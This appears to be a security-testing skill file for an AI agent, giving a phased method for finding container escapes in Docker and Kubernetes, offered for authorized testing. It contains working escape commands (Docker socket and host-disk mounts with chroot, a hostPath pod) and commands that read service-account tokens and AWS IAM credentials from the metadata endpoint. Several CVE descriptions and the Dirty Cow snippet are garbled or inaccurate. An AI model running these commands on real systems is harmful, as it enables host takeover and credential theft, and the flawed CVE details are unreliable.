container-escape

name	Container Escape
description	Container escape vulnerability discovery — Docker, Kubernetes, container runtime exploitation, namespace isolation bypass, privilege escalation through container boundaries
tags	["container","escape","docker","kubernetes","cgroups","namespaces","privilege-escalation","security","breakout","pod-escape","cluster-security"]
author	Spectra Security Research
version	1

Container Escape Analysis

Overview

This skill analyzes container environments for escape vulnerabilities and privilege escalation paths from containers to the host system.

---

⚠️ Authorized Use Only

Permitted Contexts:

• Authorized penetration testing with explicit scope
• CTF competitions
• Security research in isolated environments
• Educational analysis

Prohibited:

• Unauthorized container breakout attempts
• Production environment testing without permission

---

Analysis Phases

Phase 1: Container Runtime Detection

Identify the container runtime and environment:

# Check if running in container
ls -la /.dockerenv 2>/dev/null
cat /proc/1/cgroup | grep docker
cat /proc/1/environ | tr '\0' '\n' | grep docker

# Detect runtime type
# Docker: /var/run/docker.sock
# Kubernetes: /var/run/secrets/kubernetes.io/
# Containerd: /run/containerd/
# CRI-O: /run/crio/

# Check container ID
hostname  # Often matches container ID
cat /etc/hostname
cat /proc/self/cgroup | head -1

Indicators:

• Docker socket mounted: /var/run/docker.sock
• Kubernetes service account: /var/run/secrets/kubernetes.io/serviceaccount
• Privileged mode: --privileged flag used
• Host PID namespace: /proc shows host processes
• Host network: Network interfaces include host interfaces

---

Phase 2: Namespace/Control Group Analysis

Analyze namespace isolation and cgroup restrictions:

# Check namespaces
ls -la /proc/self/ns/
# Expected: cgroup, ipc, mnt, net, pid, user, uts

# Compare with init (host) namespaces
ls -la /proc/1/ns/
# If identical -> host namespaces (escaped/broken isolation)

# Check capabilities
capsh --print  # If available
cat /proc/self/status | grep Cap

# Check cgroups
cat /proc/self/cgroup
# Look for: devices, freezer, pids, cpu, cpuacct, cpuset, memory, net_cls, net_prio

Breakout Indicators:

• Same PID namespace as host → /proc/1/ is host init
• Same network namespace → Host network interfaces visible
• Same mount namespace → Host filesystems mounted
• Excessive capabilities (CAP_SYS_ADMIN, CAP_SYS_PTRACE)
• No cgroup constraints → Resource limits not enforced

---

Phase 3: Privilege Escalation Paths

Identify privilege escalation vectors:

3.1 Capabilities-Based Escalation

# Check capabilities
grep CapEff /proc/self/status | cut -f2

# Dangerous capabilities to look for:
CAP_SYS_ADMIN      # Full system administration
CAP_SYS_PTRACE     # Trace any process
CAP_SYS_MODULE     # Load kernel modules
CAP_NET_RAW        # Raw socket access
CAP_NET_ADMIN      # Network administration
CAP_DAC_READ_SEARCH # Bypass file read permissions
CAP_DAC_OVERRIDE   # Bypass file write permissions

Exploitation:

• CAP_SYS_ADMIN + --privileged = Full host access
• CAP_SYS_PTRACE = Inject into host processes via /proc
• CAP_SYS_MODULE = Load rootkit kernel module

3.2 Device Mount Escape

# Check mounted devices
mount | grep -v container

# Look for:
# - /dev/sd* (host disks)
# - /dev/mapper/* (LVM volumes)
# - /proc/host* (host procfs)

# Exploit: Mount host filesystem
# If /dev/sda1 is accessible:
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host

3.3 Docker Socket Escape

# Check if Docker socket is mounted
ls -la /var/run/docker.sock

# If accessible:
# Communicate with Docker daemon
docker -H unix:///var/run/docker.sock ps

# Exploit: Mount host filesystem
docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt

---

Phase 4: Container Breakout Techniques

4.1 Linux Kernel Vulnerabilities

Dirty Cow (CVE-2016-5195) - Race Condition in Copy-on-Write

// Compile in container, run on host if vulnerable
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>

void *map(void *arg) {
    int f = open("/etc/passwd", O_RDWR);
    void *m = mmap(NULL, 4096, PROT_WRITE, MAP_SHARED, f, 0);
    // Exploit race to gain write access to read-only file
}

// Detection: Check kernel version < 4.8.0 (before patch)
uname -r  # Look for kernels before 4.8.0

Detection:

uname -r  # Check kernel version
cat /proc/version

4.2 Containerd/CRIO Runtime Vulnerabilities

Containerd Release Agent Escape (CVE-2022-23648)

# Pod spec with malicious command
spec:
  containers:
  - name: escape
    image: alpine
    command: ["/bin/sh", "-c"]
    args: ["cat /run/containerd/crictl.sock || cat /run/crio/crio.sock"]
    volumeMounts:
    - mountPath: /run/containerd

4.3 runc Vulnerabilities

runc Container Breakout (CVE-2019-5736)

# Check runc version (vulnerable if < 1.0.0-rc5)
docker version -f '{{.Server.RuncCommit}}'
runc --version

# Vulnerability allows overwriting host binary
# Requires execution inside container with docker run

4.4 CVE-2021-21285 - Docker-Copy-Filepath Breakout

# Docker COPY with wildcard doesn't sanitize paths
# Exploit:
COPY * /dest/
# With crafted file: "../../etc/shadow"

# Detection:
docker version

---

Phase 5: Kubernetes-Specific Escapes

5.1 Node Access via Service Account

# Check for Kubernetes service account
ls -la /var/run/secrets/kubernetes.io/serviceaccount/

# Read service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Attempt to query Kubernetes API
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -X GET $APISERVER/api/v1/namespaces/default/pods \
  --header "Authorization: Bearer $TOKEN" --insecure

# Check permissions
curl -X GET $APISERVER/api/v1/namespaces/default/pods \
  --header "Authorization: Bearer $TOKEN" --insecure

Privilege Escalation:

# If service account has privileged permissions:
# 1. Create new pod with host mount
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
spec:
  serviceAccountName: privileged-sa  # If available
  containers:
  - name: escape
    image: alpine
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /

5.2 CSI Driver Exploitation

# Check for CSI drivers
ls /var/lib/kubelet/pods/
mount | grep csi

# If CSI driver allows host mount:
# Access host filesystem through mounted volume

5.3 Containerd Shim Vulnerabilities

# Check containerd shim version
containerd --version

# Look for shim processes
ps aux | grep containerd-shim

# Check for socket access
ls -la /run/containerd/

---

Phase 6: Cloud Metadata Exploitation

6.1 AWS IMDSv1 to IMDSv2 Bypass

# Cloud metadata endpoints
AWS: http://169.254.169.254/latest/meta-data/
GCP: http://metadata.google.internal/computeMetadata/v1/
Azure: http://169.254.169.254/metadata/

# Check if accessible from container
curl http://169.254.169.254/latest/meta-data/

# IMDSv2 check (requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# If accessible → Potential credential theft

6.2 GKE Metadata Server

# Check for GKE metadata
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/

# If accessible → Service account credentials available

---

Novelty Indicators (PURSUE)

✓ Recent CVEs (2023-2024):

• CVE-2024-21626: runc file descriptor leak
• CVE-2024-23650: BuildKit race condition
• CVE-2023-38473: BuildKit symlink traversal

✓ Complex configuration:

• Custom runtime configurations
• Non-standard cgroup hierarchies
• Custom network plugins

✓ Integration points:

• CI/CD pipeline containers
• Build containers with host mounts
• Sidecar containers with elevated privileges

✓ Containerd/CRIO quirks:

• Version-specific behaviors
• Platform-specific implementations
• Non-default configurations

---

Known Patterns (AVOID)

✗ Basic Docker socket mount (well-documented) ✗ --privileged flag escape (standard pattern) ✗ /proc mount escape (common knowledge) ✗ Published CVE exploits (unless novel variation)

---

Analysis Checklist

Environment Detection

• Container runtime type identified
• Container ID obtained
• Namespace configuration analyzed
• Cgroup constraints checked
• Capabilities enumerated

Vulnerability Scanning

• Kernel version checked for known CVEs
• Runtime version checked
• Mounted devices analyzed
• Socket files enumerated
• Service account permissions checked

Exploitation Testing

• Capabilities abuse attempted
• Device mount tested
• Docker socket access tested
• Kubernetes API access tested
• Cloud metadata access tested

---

Quick Reference

Escape Vector	Detection Command	Novelty Level
Capability abuse	cat /proc/self/status | grep Cap	Low (known)
Device mount	mount | grep /dev	Medium
Docker socket	ls -la /var/run/docker.sock	Low (known)
runc CVE-2019-5736	runc --version	Medium
Dirty Cow	uname -r	Low (known)
K8s service account	ls /var/run/secrets/kubernetes.io/	Medium
Cloud metadata	curl http://169.254.169.254/latest/	Low-Medium
Containerd shim	containerd --version	High
BuildKit symlink	docker buildx version	High

---

Notes

• Focus on novel escape vectors: Custom runtime vulnerabilities, recent CVEs, integration bugs
• Container vs Host: Always verify if you're targeting container or host
• Cloud-specific: Each cloud provider has unique metadata services
• Verification: Document container configuration, exploit steps, impact
• Responsible disclosure: Container escapes are critical vulnerabilities